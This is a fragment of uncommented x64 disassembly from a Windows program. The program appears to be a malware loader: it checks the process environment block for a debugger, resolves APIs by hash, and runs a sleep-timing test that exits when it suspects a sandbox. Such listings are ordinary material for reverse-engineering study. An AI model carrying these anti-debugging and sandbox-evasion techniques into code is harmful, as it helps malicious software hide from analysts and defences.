call fcn.004079b0
mov edx, 0x4cfb590c
mov rcx, rax
call fcn.004081e0
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x40df40
call qword [0x00461088]
mov rbx, rax
call qword [0x00461088]
cmp dword [rbx + 0x70], 2
jne 0x40e0d0
mov eax, dword [rax + 0x74]
test eax, eax
jne 0x40e0d0
call fcn.00408d90
test al, al
je 0x40dee2
lea rdx, [0x004016e0]
mov ecx, 1
xor ebx, ebx
call qword [0x004618f8]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x80000003
call qword [0x004618f0]
lea rcx, [0x004016e0]
call qword [0x004618e8]
mov edx, 0x4e34b64c
lea rcx, [0x00413ec0]
call fcn.004079b0
mov rdi, rax
mov rax, qword [0x004610c8]
test rax, rax
je 0x40de55
mov rbx, qword [rax]
test rdi, rdi
je 0x40e4b0
add rbx, qword [rdi]
lea rcx, [0x00412020]
mov eax, 7
cmp rbx, 7
cmovl rbx, rax
lea rdx, [rbx + 0x11]
call fcn.00407e10
mov qword [rax + 8], rbx
mov rsi, rax
mov qword [rax], 0
mov rbx, qword [0x004610c8]
test rbx, rbx
je 0x40e360
lea rcx, [rax + 0x10]
mov rax, qword [rbx]
lea rdx, [rbx + 0x10]
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
mov rax, qword [rbx]
mov qword [rsi], rax
lea rcx, [rax + 0x10]
mov rax, qword [rdi]
lea rdx, [rdi + 0x10]
add rcx, rsi
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
mov rax, qword [rdi]
add qword [rsi], rax
mov rdx, rsi
lea rcx, [0x004610c0]
call fcn.00406350
lea rcx, [0x00413d60]
mov edx, 0x6716fd2c
call fcn.004079b0
mov edx, 0x46226964
mov rcx, rax
call fcn.004081e0
lea rcx, [0x00461050]
mov rdx, rax
call fcn.00406350
call qword [0x00461078]
mov ecx, 0x5dc
mov ebx, eax
call qword [0x00461080]
call qword [0x00461078]
sub eax, ebx
cmp eax, 0x513
jg 0x40e130
xor ecx, ecx
call sub.msvcrt.dll_exit
nop dword [rax]
lea rcx, [0x004139a0]
mov edx, 0x5d8a426c
mov qword [rsp + 0x28], 0
call fcn.004079b0
mov rcx, rsi
mov qword [rsp + 0x28], rax
call fcn.0040a870
xor ecx, ecx
call sub.msvcrt.dll_exit
nop
mov eax, dword [0x004610e8]
cmp eax, 2
je 0x40d7a2
cmp eax, 3
je 0x40d7a2
test eax, eax
je 0x40d7a2
cmp eax, 1
je 0x40d7a2
jmp 0x40d7ac
lea rcx, [0x004703e8]
call fcn.00406290
jmp 0x40db1d
lea rcx, [0x004703e8]
call fcn.00406290
jmp 0x40da7b
lea rcx, [0x004703e8]
call fcn.00406290
jmp 0x40da23
lea rcx, [0x004703e8]
call fcn.00406290
jmp 0x40d9cb
lea rcx, [0x004703e8]
call fcn.00406290
jmp 0x40d973
lea rcx, [0x004703e8]
call fcn.00406290
jmp 0x40d91b
lea rcx, [0x004703e8]
call fcn.00406290
jmp 0x40d8d2
lea rcx, [0x004703e8]
call fcn.00406290
jmp 0x40d87d
add qword [rdi], 8
mov rdi, rbx
jmp 0x40d854
lea rcx, [0x004703e8]
call fcn.00406290
jmp 0x40d804
mov ecx, 1
call sub.msvcrt.dll_exit
nop word [rax + rax]
mov rax, qword [0x004610c8]
test rax, rax
je 0x40e11b
mov rdi, qword [rax - 0x10]
lea rdx, [rax - 0x10]
lea rcx, [rdi - 8]
cmp rcx, 7
mov qword [rax - 0x10], rcx
ja 0x40e110
lea rcx, [0x004703e8]
call fcn.00406290
nop
mov qword [0x004610c8], 0
mov r12, qword [0x004610c0]
xor edi, edi
jmp 0x40d854
lea rcx, [0x004139c0]
mov edx, 0x75308c44
xor ebx, ebx
call fcn.004079b0
mov rdi, rax
mov rax, qword [0x004610c0]
test rax, rax
je 0x40e155
mov rbx, qword [rax]
test rdi, rdi
je 0x40e440
add rbx, qword [rdi]
lea rcx, [0x00412020]
mov eax, 7
cmp rbx, 7
cmovl rbx, rax
lea rdx, [rbx + 0x11]
call fcn.00407e10
mov qword [rax + 8], rbx
mov rsi, rax
mov qword [rax], 0
mov rbx, qword [0x004610c0]
test rbx, rbx
je 0x40e4a0
lea rcx, [rax + 0x10]
mov rax, qword [rbx]
lea rdx, [rbx + 0x10]
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
mov rax, qword [rbx]
mov qword [rsi], rax
lea rcx, [rax + 0x10]
mov rax, qword [rdi]
lea rdx, [rdi + 0x10]
add rcx, rsi
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
mov rax, qword [rdi]
add qword [rsi], rax
mov rdx, rsi
lea rcx, [0x004610c0]
call fcn.00406350
mov edx, 0x3f6ccf0c
lea rcx, [0x00413a60]
call fcn.004079b0
mov edx, 0x4c2be86c
mov rcx, rax
call fcn.004081e0
lea rcx, [section..rdata]
xor edx, edx
test rax, rax
je 0x40e223
mov rdx, qword [rax]
lea rcx, [section..rdata]
add rax, 0x10
test rdx, rdx
cmovne rcx, rax
call fcn.00409750
mov rcx, rax
call qword [0x00462118]
mov edx, 0x4464a3ec
lea rcx, [0x00413a20]
call fcn.004079b0
mov edx, 0x39dcc4c
mov rcx, rax
call fcn.004081e0
mov edx, 0x166e0c84
lea rcx, [0x004139e0]
mov rbx, rax
call fcn.004079b0
mov edx, 0x7d689ba4
mov rcx, rax
call fcn.004081e0
test rbx, rbx
mov rsi, rax
je 0x40e430
mov rdx, qword [rbx]
lea rcx, [section..rdata]
add rbx, 0x10
test rdx, rdx
cmovne rcx, rbx
call fcn.00409750
mov rcx, rax
call qword [0x00462118]
cmp eax, 0xffffffff
je 0x40e3f0
xor edx, edx
mov ecx, 0x1000
movabs r8, 0xffffffff1
call qword [0x00462110]
test rax, rax
jne 0x40e370
lea rcx, [0x00413ce0]
mov edx, 0x3b95f6ac
call fcn.004079b0
mov edx, 0x6fd1450c
mov rcx, rax
call fcn.004081e0
lea rcx, [0x00461048]
mov rdx, rax
call fcn.00406350
call fcn.00408060
mov rcx, rax
call fcn.00408710
lea rdx, str.LoadLibraryA
mov rcx, rax
call fcn.004092c0
call fcn.0040c690
call fcn.0040c690
mov edx, 0x1296db24
lea rcx, [0x00413ae0]
call fcn.004079b0
mov edx, 0x180ae684
mov rcx, rax
call fcn.004081e0
lea rcx, [0x00461040]
mov rdx, rax
call fcn.00406350
nop
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov ecx, 0x10
jmp 0x40deba
lea rcx, [0x00413ac0]
mov edx, 0x56220a24
call fcn.004079b0
mov edx, 0x595bfe44
mov rcx, rax
call fcn.004081e0
lea rcx, [0x004610c8]
mov rdx, rax
call fcn.00406350
mov rbx, qword [0x004610c0]
mov rcx, qword [0x004610c8]
call fcn.00407920
test rbx, rbx
mov qword [0x004610c0], rax
je 0x40e2c8
mov rax, qword [rbx - 0x10]
lea rdx, [rbx - 0x10]
sub rax, 8
cmp rax, 7
mov qword [rbx - 0x10], rax
ja 0x40e2c8
lea rcx, [0x004703e8]
call fcn.00406290
jmp 0x40e2c8
test rsi, rsi
je 0x40e510
mov rdx, qword [rsi]
lea rcx, [section..rdata]
add rsi, 0x10
test rdx, rdx
cmovne rcx, rsi
call fcn.00409750
mov rcx, rax
call qword [0x00462118]
jmp 0x40e2a8
lea rcx, [section..rdata]
xor edx, edx
jmp 0x40e291
lea rcx, [0x00412020]
cmp rbx, 7
mov eax, 7
cmovl rbx, rax
lea rdx, [rbx + 0x11]
call fcn.00407e10
mov qword [rax + 8], rbx
mov rsi, rax
mov qword [rax], 0
mov rbx, qword [0x004610c0]
test rbx, rbx
je 0x40e1d3
lea rcx, [rax + 0x10]
mov rax, qword [rbx]
lea rdx, [rbx + 0x10]
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
mov rax, qword [rbx]
mov qword [rsi], rax
jmp 0x40e1d3
mov ecx, 0x10
jmp 0x40e1ba
lea rcx, [0x00412020]
cmp rbx, 7
mov eax, 7
cmovl rbx, rax
lea rdx, [rbx + 0x11]
call fcn.00407e10
mov qword [rax + 8], rbx
mov rsi, rax
mov qword [rax], 0
mov rbx, qword [0x004610c8]
test rbx, rbx
je 0x40ded3
lea rcx, [rax + 0x10]
mov rax, qword [rbx]
lea rdx, [rbx + 0x10]
lea r8, [rax + 1]
call sub.msvcrt.dll_memcpy
mov rax, qword [rbx]
mov qword [rsi], rax
jmp 0x40ded3
lea rcx, [section..rdata]
xor edx, edx
jmp 0x40e40e
call fcn.00402c60
nop
nop
nop word cs:[rax + rax]